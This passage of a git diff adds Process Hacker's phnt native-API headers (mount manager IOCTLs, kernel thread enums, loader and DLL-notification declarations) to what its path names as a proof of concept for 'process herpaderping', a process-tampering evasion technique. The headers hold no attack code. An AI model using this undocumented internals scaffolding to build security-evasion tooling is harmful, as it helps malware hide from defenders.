FILE_ANY_ACCESS) +#define IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY CTL_CODE(MOUNTMGRCONTROLTYPE, 3, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER CTL_CODE(MOUNTMGRCONTROLTYPE, 4, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_AUTO_DL_ASSIGNMENTS CTL_CODE(MOUNTMGRCONTROLTYPE, 5, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED CTL_CODE(MOUNTMGRCONTROLTYPE, 6, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED CTL_CODE(MOUNTMGRCONTROLTYPE, 7, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_CHANGE_NOTIFY CTL_CODE(MOUNTMGRCONTROLTYPE, 8, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE CTL_CODE(MOUNTMGRCONTROLTYPE, 9, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_CHECK_UNPROCESSED_VOLUMES CTL_CODE(MOUNTMGRCONTROLTYPE, 10, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION CTL_CODE(MOUNTMGRCONTROLTYPE, 11, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH CTL_CODE(MOUNTMGRCONTROLTYPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS CTL_CODE(MOUNTMGRCONTROLTYPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define IOCTL_MOUNTDEV_QUERY_DEVICE_NAME CTL_CODE(MOUNTDEVCONTROLTYPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Input structure for IOCTL_MOUNTMGR_CREATE_POINT. +typedef struct _MOUNTMGR_CREATE_POINT_INPUT +{ + USHORT SymbolicLinkNameOffset; + USHORT SymbolicLinkNameLength; + USHORT DeviceNameOffset; + USHORT DeviceNameLength; +} MOUNTMGR_CREATE_POINT_INPUT, *PMOUNTMGR_CREATE_POINT_INPUT; + +// Input structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY. +typedef struct _MOUNTMGR_MOUNT_POINT +{ + ULONG SymbolicLinkNameOffset; + USHORT SymbolicLinkNameLength; + USHORT Reserved1; + ULONG UniqueIdOffset; + USHORT UniqueIdLength; + USHORT Reserved2; + ULONG DeviceNameOffset; + USHORT DeviceNameLength; + USHORT Reserved3; +} MOUNTMGR_MOUNT_POINT, * PMOUNTMGR_MOUNT_POINT; + +// Output structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY. +typedef struct _MOUNTMGR_MOUNT_POINTS +{ + ULONG Size; + ULONG NumberOfMountPoints; + MOUNTMGR_MOUNT_POINT MountPoints[1]; +} MOUNTMGR_MOUNT_POINTS, *PMOUNTMGR_MOUNT_POINTS; + +// Input structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER. +typedef struct _MOUNTMGR_DRIVE_LETTER_TARGET +{ + USHORT DeviceNameLength; + WCHAR DeviceName[1]; +} MOUNTMGR_DRIVE_LETTER_TARGET, *PMOUNTMGR_DRIVE_LETTER_TARGET; + +// Output structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER. +typedef struct _MOUNTMGR_DRIVE_LETTER_INFORMATION +{ + BOOLEAN DriveLetterWasAssigned; + UCHAR CurrentDriveLetter; +} MOUNTMGR_DRIVE_LETTER_INFORMATION, *PMOUNTMGR_DRIVE_LETTER_INFORMATION; + +// Input structure for IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED and +// IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED. +typedef struct _MOUNTMGR_VOLUME_MOUNT_POINT +{ + USHORT SourceVolumeNameOffset; + USHORT SourceVolumeNameLength; + USHORT TargetVolumeNameOffset; + USHORT TargetVolumeNameLength; +} MOUNTMGR_VOLUME_MOUNT_POINT, *PMOUNTMGR_VOLUME_MOUNT_POINT; + +// Input structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY. +// Output structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY. +typedef struct _MOUNTMGR_CHANGE_NOTIFY_INFO +{ + ULONG EpicNumber; +} MOUNTMGR_CHANGE_NOTIFY_INFO, *PMOUNTMGR_CHANGE_NOTIFY_INFO; + +// Input structure for IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE, +// IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION, +// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH, and +// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS. +// IOCTL_MOUNTMGR_PREPARE_VOLUME_DELETE +// IOCTL_MOUNTMGR_CANCEL_VOLUME_DELETE +typedef struct _MOUNTMGR_TARGET_NAME +{ + USHORT DeviceNameLength; + WCHAR DeviceName[1]; +} MOUNTMGR_TARGET_NAME, * PMOUNTMGR_TARGET_NAME; + +// Macro that defines what a "drive letter" mount point is. This macro can +// be used to scan the result from QUERY_POINTS to discover which mount points +// are find "drive letter" mount points. +#define MOUNTMGR_IS_DRIVE_LETTER(s) ( \ + (s)->Length == 28 && \ + (s)->Buffer[0] == '\\' && \ + (s)->Buffer[1] == 'D' && \ + (s)->Buffer[2] == 'o' && \ + (s)->Buffer[3] == 's' && \ + (s)->Buffer[4] == 'D' && \ + (s)->Buffer[5] == 'e' && \ + (s)->Buffer[6] == 'v' && \ + (s)->Buffer[7] == 'i' && \ + (s)->Buffer[8] == 'c' && \ + (s)->Buffer[9] == 'e' && \ + (s)->Buffer[10] == 's' && \ + (s)->Buffer[11] == '\\' && \ + (s)->Buffer[12] >= 'A' && \ + (s)->Buffer[12] <= 'Z' && \ + (s)->Buffer[13] == ':') + +// Macro that defines what a "volume name" mount point is. This macro can +// be used to scan the result from QUERY_POINTS to discover which mount points +// are "volume name" mount points. +#define MOUNTMGR_IS_VOLUME_NAME(s) ( \ + ((s)->Length == 96 || ((s)->Length == 98 && (s)->Buffer[48] == '\\')) && \ + (s)->Buffer[0] == '\\' && \ + ((s)->Buffer[1] == '?' || (s)->Buffer[1] == '\\') && \ + (s)->Buffer[2] == '?' && \ + (s)->Buffer[3] == '\\' && \ + (s)->Buffer[4] == 'V' && \ + (s)->Buffer[5] == 'o' && \ + (s)->Buffer[6] == 'l' && \ + (s)->Buffer[7] == 'u' && \ + (s)->Buffer[8] == 'm' && \ + (s)->Buffer[9] == 'e' && \ + (s)->Buffer[10] == '{' && \ + (s)->Buffer[19] == '-' && \ + (s)->Buffer[24] == '-' && \ + (s)->Buffer[29] == '-' && \ + (s)->Buffer[34] == '-' && \ + (s)->Buffer[47] == '}') + +// Output structure for IOCTL_MOUNTDEV_QUERY_DEVICE_NAME. +typedef struct _MOUNTDEV_NAME +{ + USHORT NameLength; + WCHAR Name[1]; +} MOUNTDEV_NAME, * PMOUNTDEV_NAME; + +// Output structure for IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH and IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS. +typedef struct _MOUNTMGR_VOLUME_PATHS +{ + ULONG MultiSzLength; + WCHAR MultiSz[1]; +} MOUNTMGR_VOLUME_PATHS, *PMOUNTMGR_VOLUME_PATHS; + +#define MOUNTMGR_IS_DOS_VOLUME_NAME(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 96 && \ + (s)->Buffer[1] == '\\') + +#define MOUNTMGR_IS_DOS_VOLUME_NAME_WB(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 98 && \ + (s)->Buffer[1] == '\\') + +#define MOUNTMGR_IS_NT_VOLUME_NAME(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 96 && \ + (s)->Buffer[1] == '?') + +#define MOUNTMGR_IS_NT_VOLUME_NAME_WB(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 98 && \ + (s)->Buffer[1] == '?') + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntkeapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntkeapi.h new file mode 100644 index 00000000..29f90de8 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntkeapi.h @@ -0,0 +1,176 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTKEAPI_H +#define _NTKEAPI_H + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define LOW_PRIORITY 0 // Lowest thread priority level +#define LOW_REALTIME_PRIORITY 16 // Lowest realtime priority level +#define HIGH_PRIORITY 31 // Highest thread priority level +#define MAXIMUM_PRIORITY 32 // Number of thread priority levels +#endif + +typedef enum _KTHREAD_STATE +{ + Initialized, + Ready, + Running, + Standby, + Terminated, + Waiting, + Transition, + DeferredReady, + GateWaitObsolete, + WaitingForProcessInSwap, + MaximumThreadState +} KTHREAD_STATE, *PKTHREAD_STATE; + +// private +typedef enum _KHETERO_CPU_POLICY +{ + KHeteroCpuPolicyAll, + KHeteroCpuPolicyLarge, + KHeteroCpuPolicyLargeOrIdle, + KHeteroCpuPolicySmall, + KHeteroCpuPolicySmallOrIdle, + KHeteroCpuPolicyDynamic, + KHeteroCpuPolicyStaticMax, + KHeteroCpuPolicyBiasedSmall, + KHeteroCpuPolicyBiasedLarge, + KHeteroCpuPolicyDefault, + KHeteroCpuPolicyMax +} KHETERO_CPU_POLICY, *PKHETERO_CPU_POLICY; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +typedef enum _KWAIT_REASON +{ + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + WrAlertByThreadId, + WrDeferredPreempt, + MaximumWaitReason +} KWAIT_REASON, *PKWAIT_REASON; + +typedef enum _KPROFILE_SOURCE +{ + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; + +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCallbackReturn( + _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +VOID +NTAPI +NtFlushProcessWriteBuffers( + VOID + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtYieldExecution( + VOID + ); + +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntldr.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntldr.h new file mode 100644 index 00000000..5282cfe4 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntldr.h @@ -0,0 +1,951 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTLDR_H +#define _NTLDR_H + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +// DLLs + +typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)( + _In_ PVOID DllHandle, + _In_ ULONG Reason, + _In_opt_ PVOID Context + ); + +// symbols +typedef struct _LDR_SERVICE_TAG_RECORD +{ + struct _LDR_SERVICE_TAG_RECORD *Next; + ULONG ServiceTag; +} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD; + +// symbols +typedef struct _LDRP_CSLIST +{ + PSINGLE_LIST_ENTRY Tail; +} LDRP_CSLIST, *PLDRP_CSLIST; + +// symbols +typedef enum _LDR_DDAG_STATE +{ + LdrModulesMerged = -5, + LdrModulesInitError = -4, + LdrModulesSnapError = -3, + LdrModulesUnloaded = -2, + LdrModulesUnloading = -1, + LdrModulesPlaceHolder = 0, + LdrModulesMapping = 1, + LdrModulesMapped = 2, + LdrModulesWaitingForDependencies = 3, + LdrModulesSnapping = 4, + LdrModulesSnapped = 5, + LdrModulesCondensed = 6, + LdrModulesReadyToInit = 7, + LdrModulesInitializing = 8, + LdrModulesReadyToRun = 9 +} LDR_DDAG_STATE; + +// symbols +typedef struct _LDR_DDAG_NODE +{ + LIST_ENTRY Modules; + PLDR_SERVICE_TAG_RECORD ServiceTagList; + ULONG LoadCount; + ULONG LoadWhileUnloadingCount; + ULONG LowestLink; + union + { + LDRP_CSLIST Dependencies; + SINGLE_LIST_ENTRY RemovalLink; + }; + LDRP_CSLIST IncomingDependencies; + LDR_DDAG_STATE State; + SINGLE_LIST_ENTRY CondenseLink; + ULONG PreorderNumber; +} LDR_DDAG_NODE, *PLDR_DDAG_NODE; + +// rev +typedef struct _LDR_DEPENDENCY_RECORD +{ + SINGLE_LIST_ENTRY DependencyLink; + PLDR_DDAG_NODE DependencyNode; + SINGLE_LIST_ENTRY IncomingDependencyLink; + PLDR_DDAG_NODE IncomingDependencyNode; +} LDR_DEPENDENCY_RECORD, *PLDR_DEPENDENCY_RECORD; + +// symbols +typedef enum _LDR_DLL_LOAD_REASON +{ + LoadReasonStaticDependency, + LoadReasonStaticForwarderDependency, + LoadReasonDynamicForwarderDependency, + LoadReasonDelayloadDependency, + LoadReasonDynamicLoad, + LoadReasonAsImageLoad, + LoadReasonAsDataLoad, + LoadReasonEnclavePrimary, // REDSTONE3 + LoadReasonEnclaveDependency, + LoadReasonUnknown = -1 +} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; + +#define LDRP_PACKAGED_BINARY 0x00000001 +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 // Vista and below +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_DONT_RELOCATE 0x00800000 // LDR_COR_OWNS_UNMAP +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, DdagNode) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN7 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, BaseNameHashValue) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN8 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, ImplicitPathOptions) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN10 sizeof(LDR_DATA_TABLE_ENTRY) + +// symbols +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + }; + PVOID DllBase; + PLDR_INIT_ROUTINE EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + union + { + UCHAR FlagGroup[4]; + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; + ULONG MarkedForRemoval : 1; + ULONG ImageDll : 1; + ULONG LoadNotificationsSent : 1; + ULONG TelemetryEntryProcessed : 1; + ULONG ProcessStaticImport : 1; + ULONG InLegacyLists : 1; + ULONG InIndexes : 1; + ULONG ShimDll : 1; + ULONG InExceptionTable : 1; + ULONG ReservedFlags1 : 2; + ULONG LoadInProgress : 1; + ULONG LoadConfigProcessed : 1; + ULONG EntryProcessed : 1; + ULONG ProtectDelayLoad : 1; + ULONG ReservedFlags3 : 2; + ULONG DontCallForThreads : 1; + ULONG ProcessAttachCalled : 1; + ULONG ProcessAttachFailed : 1; + ULONG CorDeferredValidate : 1; + ULONG CorImage : 1; + ULONG DontRelocate : 1; + ULONG CorILOnly : 1; + ULONG ChpeImage : 1; + ULONG ReservedFlags5 : 2; + ULONG Redirected : 1; + ULONG ReservedFlags6 : 2; + ULONG CompatDatabaseProcessed : 1; + }; + }; + USHORT ObsoleteLoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + ULONG TimeDateStamp; + struct _ACTIVATION_CONTEXT *EntryPointActivationContext; + PVOID Lock; // RtlAcquireSRWLockExclusive + PLDR_DDAG_NODE DdagNode; + LIST_ENTRY NodeModuleLink; + struct _LDRP_LOAD_CONTEXT *LoadContext; + PVOID ParentDllBase; + PVOID SwitchBackContext; + RTL_BALANCED_NODE BaseAddressIndexNode; + RTL_BALANCED_NODE MappingInfoIndexNode; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; + ULONG BaseNameHashValue; + LDR_DLL_LOAD_REASON LoadReason; + ULONG ImplicitPathOptions; + ULONG ReferenceCount; + ULONG DependentLoadFlags; + UCHAR SigningLevel; // since REDSTONE2 +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +#define LDR_IS_DATAFILE(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)1) +#define LDR_IS_IMAGEMAPPING(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)2) +#define LDR_IS_RESOURCE(DllHandle) (LDR_IS_IMAGEMAPPING(DllHandle) || LDR_IS_DATAFILE(DllHandle)) + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnloadDll( + _In_ PVOID DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleEx( + _In_ ULONG Flags, + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_opt_ PVOID *DllHandle + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + _In_ PVOID BaseAddress, + _Out_ PVOID *DllHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByName( + _In_opt_ PUNICODE_STRING BaseDllName, + _In_opt_ PUNICODE_STRING FullDllName, + _Out_ PVOID *DllHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN8) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllFullName( + _In_ PVOID DllHandle, + _Out_ PUNICODE_STRING FullDllName + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllDirectory( + _Out_ PUNICODE_STRING DllDirectory + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetDllDirectory( + _In_ PUNICODE_STRING DllDirectory + ); +#endif + +#define LDR_ADDREF_DLL_PIN 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +LdrAddRefDll( + _In_ ULONG Flags, + _In_ PVOID DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress + ); + +// rev +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress, + _In_ ULONG Flags + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetKnownDllSectionHandle( + _In_ PCWSTR DllName, + _In_ BOOLEAN KnownDlls32, + _Out_ PHANDLE Section + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressForCaller( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress, + _In_ ULONG Flags, + _In_ PVOID *Callback + ); +#endif + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +NTSYSAPI +NTSTATUS +NTAPI +LdrLockLoaderLock( + _In_ ULONG Flags, + _Out_opt_ ULONG *Disposition, + _Out_ PVOID *Cookie + ); + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnlockLoaderLock( + _In_ ULONG Flags, + _Inout_ PVOID Cookie + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRelocateImage( + _In_ PVOID NewBase, + _In_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + _In_ PVOID NewBase, + _In_ LONGLONG Bias, + _In_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid + ); + +NTSYSAPI +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + _In_ ULONG_PTR VA, + _In_ ULONG SizeOfBlock, + _In_ PUSHORT NextOffset, + _In_ LONG_PTR Diff + ); + +NTSYSAPI +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + _In_ PVOID BaseAddress, + _In_ SIZE_T NumberOfBytes, + _In_ ULONG FileLength + ); + +typedef VOID (NTAPI *PLDR_IMPORT_MODULE_CALLBACK)( + _In_ PVOID Parameter, + _In_ PSTR ModuleName + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksum( + _In_ HANDLE ImageFileHandle, + _In_opt_ PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine, + _In_ PVOID ImportCallbackParameter, + _Out_opt_ PUSHORT ImageCharacteristics + ); + +// private +typedef struct _LDR_IMPORT_CALLBACK_INFO +{ + PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine; + PVOID ImportCallbackParameter; +} LDR_IMPORT_CALLBACK_INFO, *PLDR_IMPORT_CALLBACK_INFO; + +// private +typedef struct _LDR_SECTION_INFO +{ + HANDLE SectionHandle; + ACCESS_MASK DesiredAccess; + POBJECT_ATTRIBUTES ObjA; + ULONG SectionPageProtection; + ULONG AllocationAttributes; +} LDR_SECTION_INFO, *PLDR_SECTION_INFO; + +// private +typedef struct _LDR_VERIFY_IMAGE_INFO +{ + ULONG Size; + ULONG Flags; + LDR_IMPORT_CALLBACK_INFO CallbackInfo; + LDR_SECTION_INFO SectionInfo; + USHORT ImageCharacteristics; +} LDR_VERIFY_IMAGE_INFO, *PLDR_VERIFY_IMAGE_INFO; + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksumEx( + _In_ HANDLE ImageFileHandle, + _Inout_ PLDR_VERIFY_IMAGE_INFO VerifyInfo + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + _In_ PVOID DllHandle, + _Out_writes_(*BufferSize) PULONG ServiceTagBuffer, + _Inout_ PULONG BufferSize + ); +#endif + +// begin_msdn:"DLL Load Notification" + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_opt_ PVOID Context + ); + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +NTSTATUS +NTAPI +LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_ PVOID Context, + _Out_ PVOID *Cookie + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + _In_ PVOID Cookie + ); + +#endif + +// end_msdn + +// rev +NTSYSAPI +PUNICODE_STRING +NTAPI +LdrStandardizeSystemPath( + _In_ PUNICODE_STRING SystemPath + ); + +// private +typedef struct _PS_MITIGATION_OPTIONS_MAP +{ + ULONG_PTR Map[2]; +} PS_MITIGATION_OPTIONS_MAP, *PPS_MITIGATION_OPTIONS_MAP; + +// private +typedef struct _PS_MITIGATION_AUDIT_OPTIONS_MAP 